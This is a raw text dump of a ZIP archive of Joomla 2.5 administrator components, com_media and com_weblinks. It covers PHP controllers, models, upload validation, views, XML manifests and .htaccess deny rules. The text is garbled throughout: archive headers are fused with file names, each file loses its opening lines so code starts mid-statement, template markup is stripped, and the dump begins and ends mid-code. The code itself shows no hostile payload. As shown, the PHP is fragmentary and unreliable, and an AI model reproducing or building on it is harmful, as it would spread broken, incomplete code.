      ', $errors))); continue; } $ret &= JFile::delete($fullPath); // Trigger the onContentAfterDelete event. $dispatcher->trigger('onContentAfterDelete', array('com_media.file', &$object_file)); $this->setMessage(JText::sprintf('COM_MEDIA_DELETE_COMPLETE', substr($fullPath, strlen(COM_MEDIA_BASE)))); } elseif (is_dir($fullPath)) { $contents = JFolder::files($fullPath, '.', true, false, array('.svn', 'CVS', '.DS_Store', '__MACOSX', 'index.html')); if (empty($contents)) { // Trigger the onContentBeforeDelete event. $result = $dispatcher->trigger('onContentBeforeDelete', array('com_media.folder', &$object_file)); if (in_array(false, $result, true)) { // There are some errors in the plugins JError::raiseWarning(100, JText::plural('COM_MEDIA_ERROR_BEFORE_DELETE', count($errors = $object_file->getErrors()), implode('
      ', $errors))); continue; } $ret &= JFolder::delete($fullPath); // Trigger the onContentAfterDelete event. $dispatcher->trigger('onContentAfterDelete', array('com_media.folder', &$object_file)); $this->setMessage(JText::sprintf('COM_MEDIA_DELETE_COMPLETE', substr($fullPath, strlen(COM_MEDIA_BASE)))); } else { // This makes no sense... JError::raiseWarning(100, JText::sprintf('COM_MEDIA_ERROR_UNABLE_TO_DELETE_FOLDER_NOT_EMPTY', substr($fullPath, strlen(COM_MEDIA_BASE)))); } } } return $ret; } } PK@y>\&components/com_media/helpers/media.phpnuW+A 2)) { foreach ($executable as $extensionName) { if (in_array($extensionName, $explodedFileName)) { $app->enqueueMessage(JText::_('JLIB_MEDIA_ERROR_WARNFILETYPE'), 'notice'); return false; } } } $allowable = explode(',', $params->get('upload_extensions')); $ignored = explode(',', $params->get('ignore_extensions')); if ($format == '' || $format == false || (!in_array($format, $allowable) && !in_array($format, $ignored))) { $err = 'COM_MEDIA_ERROR_WARNFILETYPE'; return false; } $maxSize = (int) ($params->get('upload_maxsize', 0) * 1024 * 1024); if ($maxSize > 0 && (int) $file['size'] > $maxSize) { $err = 'COM_MEDIA_ERROR_WARNFILETOOLARGE'; return false; } $user = JFactory::getUser(); $imginfo = null; if ($params->get('restrict_uploads', 1)) { $images = explode(',', $params->get('image_extensions')); if (in_array($format, $images)) { // if its an image run it through getimagesize // if tmp_name is empty, then the file was bigger than the PHP limit if (!empty($file['tmp_name'])) { if (($imginfo = getimagesize($file['tmp_name'])) === FALSE) { $err = 'COM_MEDIA_ERROR_WARNINVALID_IMG'; return false; } } else { $err = 'COM_MEDIA_ERROR_WARNFILETOOLARGE'; return false; } } elseif (!in_array($format, $ignored)) { // if its not an image...and we're not ignoring it $allowed_mime = explode(',', $params->get('upload_mime')); $illegal_mime = explode(',', $params->get('upload_mime_illegal')); if (function_exists('finfo_open') && $params->get('check_mime', 1)) { // We have fileinfo $finfo = finfo_open(FILEINFO_MIME); $type = finfo_file($finfo, $file['tmp_name']); if (strlen($type) && !in_array($type, $allowed_mime) && in_array($type, $illegal_mime)) { $err = 'COM_MEDIA_ERROR_WARNINVALID_MIME'; return false; } finfo_close($finfo); } elseif (function_exists('mime_content_type') && $params->get('check_mime', 1)) { // we have mime magic $type = mime_content_type($file['tmp_name']); if (strlen($type) && !in_array($type, $allowed_mime) && in_array($type, $illegal_mime)) { $err = 'COM_MEDIA_ERROR_WARNINVALID_MIME'; return false; } } elseif (!$user->authorise('core.manage')) { $err = 'COM_MEDIA_ERROR_WARNNOTADMIN'; return false; } } } $xss_check = JFile::read($file['tmp_name'], false, 256); $html_tags = array('abbr', 'acronym', 'address', 'applet', 'area', 'audioscope', 'base', 'basefont', 'bdo', 'bgsound', 'big', 'blackface', 'blink', 'blockquote', 'body', 'bq', 'br', 'button', 'caption', 'center', 'cite', 'code', 'col', 'colgroup', 'comment', 'custom', 'dd', 'del', 'dfn', 'dir', 'div', 'dl', 'dt', 'em', 'embed', 'fieldset', 'fn', 'font', 'form', 'frame', 'frameset', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'head', 'hr', 'html', 'iframe', 'ilayer', 'img', 'input', 'ins', 'isindex', 'keygen', 'kbd', 'label', 'layer', 'legend', 'li', 'limittext', 'link', 'listing', 'map', 'marquee', 'menu', 'meta', 'multicol', 'nobr', 'noembed', 'noframes', 'noscript', 'nosmartquotes', 'object', 'ol', 'optgroup', 'option', 'param', 'plaintext', 'pre', 'rt', 'ruby', 's', 'samp', 'script', 'select', 'server', 'shadow', 'sidebar', 'small', 'spacer', 'span', 'strike', 'strong', 'style', 'sub', 'sup', 'table', 'tbody', 'td', 'textarea', 'tfoot', 'th', 'thead', 'title', 'tr', 'tt', 'ul', 'var', 'wbr', 'xml', 'xmp', '!DOCTYPE', '!--'); foreach($html_tags as $tag) { // A tag is '' if (stristr($xss_check, '<'.$tag.' ') || stristr($xss_check, '<'.$tag.'>')) { $err = 'COM_MEDIA_ERROR_WARNIEXSS'; return false; } } return true; } public static function parseSize($size) { if ($size < 1024) { return JText::sprintf('COM_MEDIA_FILESIZE_BYTES', $size); } elseif ($size < 1024 * 1024) { return JText::sprintf('COM_MEDIA_FILESIZE_KILOBYTES', sprintf('%01.2f', $size / 1024.0)); } else { return JText::sprintf('COM_MEDIA_FILESIZE_MEGABYTES', sprintf('%01.2f', $size / (1024.0 * 1024))); } } public static function imageResize($width, $height, $target) { //takes the larger size of the width and height and applies the //formula accordingly...this is so this script will work //dynamically with any size image if ($width > $height) { $percentage = ($target / $width); } else { $percentage = ($target / $height); } //gets the new value and applies the percentage, then rounds the value $width = round($width * $percentage); $height = round($height * $percentage); return array($width, $height); } public static function countFiles($dir) { $total_file = 0; $total_dir = 0; if (is_dir($dir)) { $d = dir($dir); while (false !== ($entry = $d->read())) { if (substr($entry, 0, 1) != '.' && is_file($dir . DIRECTORY_SEPARATOR . $entry) && strpos($entry, '.html') === false && strpos($entry, '.php') === false) { $total_file++; } if (substr($entry, 0, 1) != '.' && is_dir($dir . DIRECTORY_SEPARATOR . $entry)) { $total_dir++; } } $d->close(); } return array ($total_file, $total_dir); } } PK@y>\V'components/com_media/helpers/index.htmlnuW+A PK@y>\)&components/com_media/helpers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Uff"components/com_weblinks/access.xmlnuW+A
      PK@y>\)(components/com_weblinks/tables/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V)components/com_weblinks/tables/index.htmlnuW+A PK@y>\U++*components/com_weblinks/tables/weblink.phpnuW+AloadArray($array['params']); $array['params'] = (string)$registry; } if (isset($array['metadata']) && is_array($array['metadata'])) { $registry = new JRegistry(); $registry->loadArray($array['metadata']); $array['metadata'] = (string)$registry; } return parent::bind($array, $ignore); } /** * Overload the store method for the Weblinks table. * * @param boolean Toggle whether null values should be updated. * @return boolean True on success, false on failure. * @since 1.6 */ public function store($updateNulls = false) { $date = JFactory::getDate(); $user = JFactory::getUser(); if ($this->id) { // Existing item $this->modified = $date->toSql(); $this->modified_by = $user->get('id'); } else { // New weblink. A weblink created and created_by field can be set by the user, // so we don't touch either of these if they are set. if (!intval($this->created)) { $this->created = $date->toSql(); } if (empty($this->created_by)) { $this->created_by = $user->get('id'); } } // Verify that the alias is unique $table = JTable::getInstance('Weblink', 'WeblinksTable'); if ($table->load(array('alias'=>$this->alias, 'catid'=>$this->catid)) && ($table->id != $this->id || $this->id==0)) { $this->setError(JText::_('COM_WEBLINKS_ERROR_UNIQUE_ALIAS')); return false; } // Attempt to store the user data. return parent::store($updateNulls); } /** * Overloaded check method to ensure data integrity. * * @return boolean True on success. */ public function check() { if (JFilterInput::checkAttribute(array ('href', $this->url))) { $this->setError(JText::_('COM_WEBLINKS_ERR_TABLES_PROVIDE_URL')); return false; } // check for valid name if (trim($this->title) == '') { $this->setError(JText::_('COM_WEBLINKS_ERR_TABLES_TITLE')); return false; } // check for existing name $query = 'SELECT id FROM #__weblinks WHERE title = '.$this->_db->Quote($this->title).' AND catid = '.(int) $this->catid; $this->_db->setQuery($query); $xid = intval($this->_db->loadResult()); if ($xid && $xid != intval($this->id)) { $this->setError(JText::_('COM_WEBLINKS_ERR_TABLES_NAME')); return false; } if (empty($this->alias)) { $this->alias = $this->title; } $this->alias = JApplication::stringURLSafe($this->alias); if (trim(str_replace('-', '', $this->alias)) == '') { $this->alias = JFactory::getDate()->format("Y-m-d-H-i-s"); } // Check the publish down date is not earlier than publish up. if ($this->publish_down > $this->_db->getNullDate() && $this->publish_down < $this->publish_up) { $this->setError(JText::_('JGLOBAL_START_PUBLISH_AFTER_FINISH')); return false; } // clean up keywords -- eliminate extra spaces between phrases // and cr (\r) and lf (\n) characters from string if (!empty($this->metakey)) { // only process if not empty $bad_characters = array("\n", "\r", "\"", "<", ">"); // array of characters to remove $after_clean = JString::str_ireplace($bad_characters, "", $this->metakey); // remove bad characters $keys = explode(',', $after_clean); // create array using commas as delimiter $clean_keys = array(); foreach($keys as $key) { if (trim($key)) { // ignore blank keywords $clean_keys[] = trim($key); } } $this->metakey = implode(", ", $clean_keys); // put array back together delimited by ", " } return true; } /** * Method to set the publishing state for a row or list of rows in the database * table. The method respects checked out rows by other users and will attempt * to checkin rows that it can after adjustments are made. * * @param mixed An optional array of primary key values to update. If not * set the instance property value is used. * @param integer The publishing state. eg. [0 = unpublished, 1 = published] * @param integer The user id of the user performing the operation. * @return boolean True on success. * @since 1.0.4 */ public function publish($pks = null, $state = 1, $userId = 0) { // Initialise variables. $k = $this->_tbl_key; // Sanitize input. JArrayHelper::toInteger($pks); $userId = (int) $userId; $state = (int) $state; // If there are no primary keys set check to see if the instance key is set. if (empty($pks)) { if ($this->$k) { $pks = array($this->$k); } // Nothing to set publishing state on, return false. else { $this->setError(JText::_('JLIB_DATABASE_ERROR_NO_ROWS_SELECTED')); return false; } } // Build the WHERE clause for the primary keys. $where = $k.'='.implode(' OR '.$k.'=', $pks); // Determine if there is checkin support for the table. if (!property_exists($this, 'checked_out') || !property_exists($this, 'checked_out_time')) { $checkin = ''; } else { $checkin = ' AND (checked_out = 0 OR checked_out = '.(int) $userId.')'; } // Update the publishing state for rows with the given primary keys. $this->_db->setQuery( 'UPDATE '.$this->_db->quoteName($this->_tbl) . ' SET '.$this->_db->quoteName('state').' = '.(int) $state . ' WHERE ('.$where.')' . $checkin ); $this->_db->query(); // Check for a database error. if ($this->_db->getErrorNum()) { $this->setError($this->_db->getErrorMsg()); return false; } // If checkin is supported and all rows were adjusted, check them in. if ($checkin && (count($pks) == $this->_db->getAffectedRows())) { // Checkin the rows. foreach($pks as $pk) { $this->checkin($pk); } } // If the JTable instance value is in the list of primary keys that were set, set the instance. if (in_array($this->$k, $pks)) { $this->state = $state; } $this->setError(''); return true; } } PK@y>\Khh"components/com_weblinks/config.xmlnuW+A
      PK@y>\V"components/com_weblinks/index.htmlnuW+A PK@y>\Oн--$components/com_weblinks/weblinks.phpnuW+Aauthorise('core.manage', 'com_weblinks')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } $controller = JControllerLegacy::getInstance('Weblinks'); $controller->execute(JRequest::getCmd('task')); $controller->redirect(); PK@y>\j~Q Q $components/com_weblinks/weblinks.xmlnuW+A com_weblinks Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_WEBLINKS_XML_DESCRIPTION sql/install.mysql.utf8.sql sql/uninstall.mysql.utf8.sql index.html weblinks.php controller.php router.php metadata.xml views models controllers helpers language/en-GB.com_weblinks.ini com_weblinks com_weblinks_links com_weblinks_categories access.xml config.xml controller.php index.html weblinks.php controllers helpers models sql tables views language/en-GB.com_weblinks.ini language/en-GB.com_weblinks.sys.ini PK@y>\)!components/com_weblinks/.htaccessnuW+A Order allow,deny Deny from all PK@y>\.fPP*components/com_weblinks/models/weblink.phpnuW+Aid)) { if ($record->state != -2) { return ; } $user = JFactory::getUser(); if ($record->catid) { return $user->authorise('core.delete', 'com_weblinks.category.'.(int) $record->catid); } else { return parent::canDelete($record); } } } /** * Method to test whether a record can have its state changed. * * @param object A record object. * @return boolean True if allowed to change the state of the record. Defaults to the permission set in the component. * @since 1.6 */ protected function canEditState($record) { $user = JFactory::getUser(); if (!empty($record->catid)) { return $user->authorise('core.edit.state', 'com_weblinks.category.'.(int) $record->catid); } else { return parent::canEditState($record); } } /** * Returns a reference to the a Table object, always creating it. * * @param type The table type to instantiate * @param string A prefix for the table class name. Optional. * @param array Configuration array for model. Optional. * @return JTable A database object * @since 1.6 */ public function getTable($type = 'Weblink', $prefix = 'WeblinksTable', $config = array()) { return JTable::getInstance($type, $prefix, $config); } /** * Method to get the record form. * * @param array $data An optional array of data for the form to interogate. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * @return JForm A JForm object on success, false on failure * @since 1.6 */ public function getForm($data = array(), $loadData = true) { // Initialise variables. $app = JFactory::getApplication(); // Get the form. $form = $this->loadForm('com_weblinks.weblink', 'weblink', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } // Determine correct permissions to check. if ($this->getState('weblink.id')) { // Existing record. Can only edit in selected categories. $form->setFieldAttribute('catid', 'action', 'core.edit'); } else { // New record. Can only create in selected categories. $form->setFieldAttribute('catid', 'action', 'core.create'); } // Modify the form based on access controls. if (!$this->canEditState((object) $data)) { // Disable fields for display. $form->setFieldAttribute('ordering', 'disabled', 'true'); $form->setFieldAttribute('state', 'disabled', 'true'); $form->setFieldAttribute('publish_up', 'disabled', 'true'); $form->setFieldAttribute('publish_down', 'disabled', 'true'); // Disable fields while saving. // The controller has already verified this is a record you can edit. $form->setFieldAttribute('ordering', 'filter', 'unset'); $form->setFieldAttribute('state', 'filter', 'unset'); $form->setFieldAttribute('publish_up', 'filter', 'unset'); $form->setFieldAttribute('publish_down', 'filter', 'unset'); } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * @since 1.6 */ protected function loadFormData() { // Check the session for previously entered form data. $data = JFactory::getApplication()->getUserState('com_weblinks.edit.weblink.data', array()); if (empty($data)) { $data = $this->getItem(); // Prime some default values. if ($this->getState('weblink.id') == 0) { $app = JFactory::getApplication(); $data->set('catid', JRequest::getInt('catid', $app->getUserState('com_weblinks.weblinks.filter.category_id'))); } } return $data; } /** * Method to get a single record. * * @param integer The id of the primary key. * * @return mixed Object on success, false on failure. * @since 1.6 */ public function getItem($pk = null) { if ($item = parent::getItem($pk)) { // Convert the params field to an array. $registry = new JRegistry; $registry->loadString($item->metadata); $item->metadata = $registry->toArray(); } return $item; } /** * Prepare and sanitise the table prior to saving. * * @since 1.6 */ protected function prepareTable(&$table) { $date = JFactory::getDate(); $user = JFactory::getUser(); $table->title = htmlspecialchars_decode($table->title, ENT_QUOTES); $table->alias = JApplication::stringURLSafe($table->alias); if (empty($table->alias)) { $table->alias = JApplication::stringURLSafe($table->title); } if (empty($table->id)) { // Set the values // Set ordering to the last item if not set if (empty($table->ordering)) { $db = JFactory::getDbo(); $db->setQuery('SELECT MAX(ordering) FROM #__weblinks'); $max = $db->loadResult(); $table->ordering = $max+1; } } else { // Set the values } } /** * A protected method to get a set of ordering conditions. * * @param object A record object. * @return array An array of conditions to add to add to ordering queries. * @since 1.6 */ protected function getReorderConditions($table) { $condition = array(); $condition[] = 'catid = '.(int) $table->catid; return $condition; } } PK@y>\V)components/com_weblinks/models/index.htmlnuW+A PK@y>\)/components/com_weblinks/models/fields/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V0components/com_weblinks/models/fields/index.htmlnuW+A PK@y>\72components/com_weblinks/models/fields/ordering.phpnuW+Aelement['class'] ? ' class="'.(string) $this->element['class'].'"' : ''; $attr .= ((string) $this->element['disabled'] == 'true') ? ' disabled="disabled"' : ''; $attr .= $this->element['size'] ? ' size="'.(int) $this->element['size'].'"' : ''; // Initialize JavaScript field attributes. $attr .= $this->element['onchange'] ? ' onchange="'.(string) $this->element['onchange'].'"' : ''; // Get some field values from the form. $weblinkId = (int) $this->form->getValue('id'); $categoryId = (int) $this->form->getValue('catid'); // Build the query for the ordering list. $query = 'SELECT ordering AS value, title AS text' . ' FROM #__weblinks' . ' WHERE catid = ' . (int) $categoryId . ' ORDER BY ordering'; // Create a read-only list (no name) with a hidden input to store the value. if ((string) $this->element['readonly'] == 'true') { $html[] = JHtml::_('list.ordering', '', $query, trim($attr), $this->value, $weblinkId ? 0 : 1); $html[] = ''; } // Create a regular list. else { $html[] = JHtml::_('list.ordering', $this->name, $query, trim($attr), $this->value, $weblinkId ? 0 : 1); } return implode($html); } } PK@y>\)(components/com_weblinks/models/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V/components/com_weblinks/models/forms/index.htmlnuW+A PK@y>\).components/com_weblinks/models/forms/.htaccessnuW+A Order allow,deny Deny from all PK@y>\4 0components/com_weblinks/models/forms/weblink.xmlnuW+A
      PK@y>\.+components/com_weblinks/models/weblinks.phpnuW+AgetUserStateFromRequest($this->context.'.filter.search', 'filter_search'); $this->setState('filter.search', $search); $accessId = $this->getUserStateFromRequest($this->context.'.filter.access', 'filter_access', null, 'int'); $this->setState('filter.access', $accessId); $published = $this->getUserStateFromRequest($this->context.'.filter.state', 'filter_published', '', 'string'); $this->setState('filter.state', $published); $categoryId = $this->getUserStateFromRequest($this->context.'.filter.category_id', 'filter_category_id', ''); $this->setState('filter.category_id', $categoryId); $language = $this->getUserStateFromRequest($this->context.'.filter.language', 'filter_language', ''); $this->setState('filter.language', $language); // Load the parameters. $params = JComponentHelper::getParams('com_weblinks'); $this->setState('params', $params); // List state information. parent::populateState('a.title', 'asc'); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * @return string A store id. * @since 1.6 */ protected function getStoreId($id = '') { // Compile the store id. $id.= ':' . $this->getState('filter.search'); $id.= ':' . $this->getState('filter.access'); $id.= ':' . $this->getState('filter.state'); $id.= ':' . $this->getState('filter.category_id'); $id.= ':' . $this->getState('filter.language'); return parent::getStoreId($id); } /** * Build an SQL query to load the list data. * * @return JDatabaseQuery * @since 1.6 */ protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); $user = JFactory::getUser(); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'a.id, a.title, a.alias, a.checked_out, a.checked_out_time, a.catid,' . 'a.hits,' . 'a.state, a.access, a.ordering,'. 'a.language, a.publish_up, a.publish_down' ) ); $query->from($db->quoteName('#__weblinks').' AS a'); // Join over the language $query->select('l.title AS language_title'); $query->join('LEFT', $db->quoteName('#__languages').' AS l ON l.lang_code = a.language'); // Join over the users for the checked out user. $query->select('uc.name AS editor'); $query->join('LEFT', '#__users AS uc ON uc.id=a.checked_out'); // Join over the asset groups. $query->select('ag.title AS access_level'); $query->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access'); // Join over the categories. $query->select('c.title AS category_title'); $query->join('LEFT', '#__categories AS c ON c.id = a.catid'); // Filter by access level. if ($access = $this->getState('filter.access')) { $query->where('a.access = '.(int) $access); } // Implement View Level Access if (!$user->authorise('core.admin')) { $groups = implode(',', $user->getAuthorisedViewLevels()); $query->where('a.access IN ('.$groups.')'); } // Filter by published state $published = $this->getState('filter.state'); if (is_numeric($published)) { $query->where('a.state = '.(int) $published); } elseif ($published === '') { $query->where('(a.state IN (0, 1))'); } // Filter by category. $categoryId = $this->getState('filter.category_id'); if (is_numeric($categoryId)) { $query->where('a.catid = '.(int) $categoryId); } // Filter by search in title $search = $this->getState('filter.search'); if (!empty($search)) { if (stripos($search, 'id:') === 0) { $query->where('a.id = '.(int) substr($search, 3)); } else { $search = $db->Quote('%'.$db->escape($search, true).'%'); $query->where('(a.title LIKE '.$search.' OR a.alias LIKE '.$search.')'); } } // Filter on the language. if ($language = $this->getState('filter.language')) { $query->where('a.language = ' . $db->quote($language)); } // Add the list ordering clause. $orderCol = $this->state->get('list.ordering'); $orderDirn = $this->state->get('list.direction'); if ($orderCol == 'a.ordering' || $orderCol == 'category_title') { $orderCol = 'c.title '.$orderDirn.', a.ordering'; } $query->order($db->escape($orderCol.' '.$orderDirn)); //echo nl2br(str_replace('#__','jos_',$query)); return $query; } } PK@y>\ nFF&components/com_weblinks/controller.phpnuW+AcheckEditId('com_weblinks.edit.weblink', $id)) { // Somehow the person just went to the form - we don't allow that. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id)); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=com_weblinks&view=weblinks', false)); return false; } parent::display(); return $this; } } PK@y>\আ4components/com_weblinks/views/weblinks/view.html.phpnuW+Astate = $this->get('State'); $this->items = $this->get('Items'); $this->pagination = $this->get('Pagination'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { require_once JPATH_COMPONENT.'/helpers/weblinks.php'; $state = $this->get('State'); $canDo = WeblinksHelper::getActions($state->get('filter.category_id')); $user = JFactory::getUser(); JToolBarHelper::title(JText::_('COM_WEBLINKS_MANAGER_WEBLINKS'), 'weblinks.png'); if (count($user->getAuthorisedCategories('com_weblinks', 'core.create')) > 0) { JToolBarHelper::addNew('weblink.add'); } if ($canDo->get('core.edit')) { JToolBarHelper::editList('weblink.edit'); } if ($canDo->get('core.edit.state')) { JToolBarHelper::divider(); JToolBarHelper::publish('weblinks.publish', 'JTOOLBAR_PUBLISH', true); JToolBarHelper::unpublish('weblinks.unpublish', 'JTOOLBAR_UNPUBLISH', true); JToolBarHelper::divider(); JToolBarHelper::archiveList('weblinks.archive'); JToolBarHelper::checkin('weblinks.checkin'); } if ($state->get('filter.state') == -2 && $canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'weblinks.delete', 'JTOOLBAR_EMPTY_TRASH'); JToolBarHelper::divider(); } elseif ($canDo->get('core.edit.state')) { JToolBarHelper::trash('weblinks.trash'); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_weblinks'); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_COMPONENTS_WEBLINKS_LINKS'); } } PK@y>\)5components/com_weblinks/views/weblinks/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V6components/com_weblinks/views/weblinks/tmpl/index.htmlnuW+A PK@y>\e=components/com_weblinks/views/weblinks/tmpl/default_batch.phpnuW+Astate->get('filter.published'); ?>

      = 0) : ?>
      PK@y>\4!!7components/com_weblinks/views/weblinks/tmpl/default.phpnuW+Aget('id'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $canOrder = $user->authorise('core.edit.state', 'com_weblinks.category'); $saveOrder = $listOrder == 'a.ordering'; ?>
      items as $i => $item) : $ordering = ($listOrder == 'a.ordering'); $item->cat_link = JRoute::_('index.php?option=com_categories&extension=com_weblinks&task=edit&type=other&cid[]='. $item->catid); $canCreate = $user->authorise('core.create', 'com_weblinks.category.'.$item->catid); $canEdit = $user->authorise('core.edit', 'com_weblinks.category.'.$item->catid); $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out==$user->get('id') || $item->checked_out==0; $canChange = $user->authorise('core.edit.state', 'com_weblinks.category.'.$item->catid) && $canCheckin; ?>
      items, 'filesave.png', 'weblinks.saveorder'); ?>
      pagination->getListFooter(); ?>
      id); ?> checked_out) : ?> editor, $item->checked_out_time, 'weblinks.', $canCheckin); ?> escape($item->title); ?> escape($item->title); ?>

      escape($item->alias));?>

      state, $i, 'weblinks.', $canChange, 'cb', $item->publish_up, $item->publish_down); ?> escape($item->category_title); ?> pagination->orderUpIcon($i, ($item->catid == @$this->items[$i-1]->catid), 'weblinks.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, ($item->catid == @$this->items[$i+1]->catid), 'weblinks.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> pagination->orderUpIcon($i, ($item->catid == @$this->items[$i-1]->catid), 'weblinks.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, ($item->catid == @$this->items[$i+1]->catid), 'weblinks.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" /> ordering; ?> escape($item->access_level); ?> hits; ?> language=='*'):?> language_title ? $this->escape($item->language_title) : JText::_('JUNDEFINED'); ?> id; ?>
      authorize('core.create', 'com_weblinks') && $user->authorize('core.edit', 'com_weblinks') && $user->authorize('core.edit.state', 'com_weblinks')) : ?> loadTemplate('batch'); ?>
      PK@y>\V1components/com_weblinks/views/weblinks/index.htmlnuW+A PK@y>\)0components/com_weblinks/views/weblinks/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Jvv:components/com_weblinks/views/weblink/tmpl/edit_params.phpnuW+Aform->getFieldsets('params'); foreach ($fieldSets as $name => $fieldSet) : echo JHtml::_('sliders.panel', JText::_($fieldSet->label), $name.'-params'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

      '.$this->escape(JText::_($fieldSet->description)).'

      '; endif; ?>
        form->getFieldset($name) as $field) : ?>
      • label; ?> input; ?>
      PK@y>\V5components/com_weblinks/views/weblink/tmpl/index.htmlnuW+A PK@y>\h!!3components/com_weblinks/views/weblink/tmpl/edit.phpnuW+A PK@y>\V??<components/com_weblinks/views/weblink/tmpl/edit_metadata.phpnuW+Aform->getFieldsets('metadata'); foreach ($fieldSets as $name => $fieldSet) : echo JHtml::_('sliders.panel', JText::_($fieldSet->label), $name.'-options'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

      '.$this->escape(JText::_($fieldSet->description)).'

      '; endif; ?>
      • form->getLabel('metadesc'); ?> form->getInput('metadesc'); ?>
      • form->getLabel('metakey'); ?> form->getInput('metakey'); ?>
      • form->getLabel('xreference'); ?> form->getInput('xreference'); ?>
      • form->getFieldset($name) as $field) : ?>
      • label; ?> input; ?>
      PK@y>\)4components/com_weblinks/views/weblink/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V0components/com_weblinks/views/weblink/index.htmlnuW+A PK@y>\)/components/com_weblinks/views/weblink/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Aa3components/com_weblinks/views/weblink/view.html.phpnuW+Astate = $this->get('State'); $this->item = $this->get('Item'); $this->form = $this->get('Form'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { JRequest::setVar('hidemainmenu', true); $user = JFactory::getUser(); $userId = $user->get('id'); $isNew = ($this->item->id == 0); $checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $user->get('id')); // Since we don't track these assets at the item level, use the category id. $canDo = WeblinksHelper::getActions($this->item->catid, 0); JToolBarHelper::title(JText::_('COM_WEBLINKS_MANAGER_WEBLINK'), 'weblinks.png'); // If not checked out, can save the item. if (!$checkedOut && ($canDo->get('core.edit')||(count($user->getAuthorisedCategories('com_weblinks', 'core.create'))))) { JToolBarHelper::apply('weblink.apply'); JToolBarHelper::save('weblink.save'); } if (!$checkedOut && (count($user->getAuthorisedCategories('com_weblinks', 'core.create')))){ JToolBarHelper::save2new('weblink.save2new'); } // If an existing item, can save to a copy. if (!$isNew && (count($user->getAuthorisedCategories('com_weblinks', 'core.create')) > 0)) { JToolBarHelper::save2copy('weblink.save2copy'); } if (empty($this->item->id)) { JToolBarHelper::cancel('weblink.cancel'); } else { JToolBarHelper::cancel('weblink.cancel', 'JTOOLBAR_CLOSE'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_COMPONENTS_WEBLINKS_LINKS_EDIT'); } } PK@y>\)'components/com_weblinks/views/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V(components/com_weblinks/views/index.htmlnuW+A PK@y>\V*components/com_weblinks/helpers/index.htmlnuW+A PK@y>\@kk,components/com_weblinks/helpers/weblinks.phpnuW+Aset($action->name, $user->authorise($action->name, $assetName)); } return $result; } } PK@y>\))components/com_weblinks/helpers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\<8l l /components/com_weblinks/controllers/weblink.phpnuW+Aauthorise('core.create', $this->option . '.category.' . $categoryId); } if ($allow === null) { // In the absense of better information, revert to the component permissions. return parent::allowAdd($data); } else { return $allow; } } /** * Method to check if you can add a new record. * * @param array $data An array of input data. * @param string $key The name of the key for the primary key. * * @return boolean * @since 1.6 */ protected function allowEdit($data = array(), $key = 'id') { // Initialise variables. $recordId = (int) isset($data[$key]) ? $data[$key] : 0; $categoryId = 0; if ($recordId) { $categoryId = (int) $this->getModel()->getItem($recordId)->catid; } if ($categoryId) { // The category has been set. Check the category permissions. return JFactory::getUser()->authorise('core.edit', $this->option . '.category.' . $categoryId); } else { // Since there is no asset tracking, revert to the component permissions. return parent::allowEdit($data, $key); } } /** * Method to run batch operations. * * @param object $model The model. * * @return boolean True if successful, false otherwise and internal error is set. * * @since 1.7 */ public function batch($model = null) { JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Set the model $model = $this->getModel('Weblink', '', array()); // Preset the redirect $this->setRedirect(JRoute::_('index.php?option=com_weblinks&view=weblinks' . $this->getRedirectToListAppend(), false)); return parent::batch($model); } } PK@y>\V.components/com_weblinks/controllers/index.htmlnuW+A PK@y>\)-components/com_weblinks/controllers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\(0components/com_weblinks/controllers/weblinks.phpnuW+A true)) { $model = parent::getModel($name, $prefix, $config); return $model; } } PK@y>\Œ##4components/com_weblinks/sql/uninstall.mysql.utf8.sqlnuW+ADROP TABLE IF EXISTS 